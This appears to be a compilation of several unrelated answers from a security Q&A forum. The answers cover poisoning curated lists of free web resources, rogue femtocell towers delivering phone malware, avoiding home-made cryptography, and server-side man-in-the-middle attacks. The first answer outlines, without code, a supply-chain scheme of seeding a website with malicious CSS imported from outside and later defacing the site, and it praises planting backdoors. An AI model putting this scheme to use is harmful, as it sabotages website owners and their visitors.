How would someone exploit it ? Just "give" some free resources to the websites pointed by those lists or make one of such websites (Some of the websites he point to are in Beta, so the curator is not very regarding). Sooner or later your resources will end up in the browser of a client while being served by a third party.

For now this project doesn't point to free javascript resources, which would have been easy XSS, maybe we should ask a random question to the author go to the issues page and suggest : "add other media assets?" (so bad I've already been beaten to it but it's revealing that the author is open to suggestions).

But it points to site which offer to load CSS (for the moment too simple to hide a hack without risks but it shows it's already on a dangerous path :) ). And in CSS it seems (I'm no css expert) you can "import" other css from absolute urls. So you could easily have a css that looks good now but later by updating what's pointed by the link in the future (once it found its way to a website) you will be able at will to deface a target website by serving a custom made CSS.

In today's effective offensive security, which was OP question, you plant bugs, you create backdoors, you give people the rope they need to hang themselves, you reward bad behavior (like copy/pasting, like giving economic advantage for not caring about security, like hyping false-security...). You just have to sow the seeds and harvest the bugs.


Can my phone be affected by malware through mobile phone signal?

Yes. An individual hacker may do this via a femtocell tower. These are heavily demonstrated at security conferences. These devices can trick your device into installing rouge malware.

Additionally, on a larger scale, rogue cell phone towers have been discovered and could potentially have the same capabilities.

In both cases the devices trick your phone into thinking that it is connecting to it's trusted carrier network. From here the rogue devices can intercept and inject data at will.


Is knowing 'a' encrypted with 'b' and 'b' encrypted with 'a' a possible threat?

Unfortunately you are doing it wrong by rolling your own cryptopgrahy scheme.

  What may I do to improve this solution?

Do not roll your own scheme. Stick to the tried and tested solution for authentication. Use TLS/SSL to encrypt the traffic from the client to your server. Use a strong password hashing algorithm like PBKDF2, bcrypt or scrypt to hash the password for storage on the server.


Server-side man-in-the-middle/eavesdropping: attacks between two servers using unencrypted HTTP

Something I've seen before, and is talked about in a DefCon talk, is people will setup a proxy on something like your VPS in the example and capture the traffic between the user and the server that's going through the proxy. They could also choose to inject JavaScript or return false data to you if they so desired.

For an attacker to sniff all of the traffic going to a web server, they would need to have remote access to it, or the network it's on for the very least. They'd also need to be able to transfer the collected data to themselves. I've heard of hackers commonly using VPSs to hide their identity whenever they've cracked into a web server and attempting to perform such attacks. This might be where you've got this from.

As for the resources that would be required; A packet sniffer such as wireshark would work. Also an exploit for a vulnerability on the web server would be needed as well.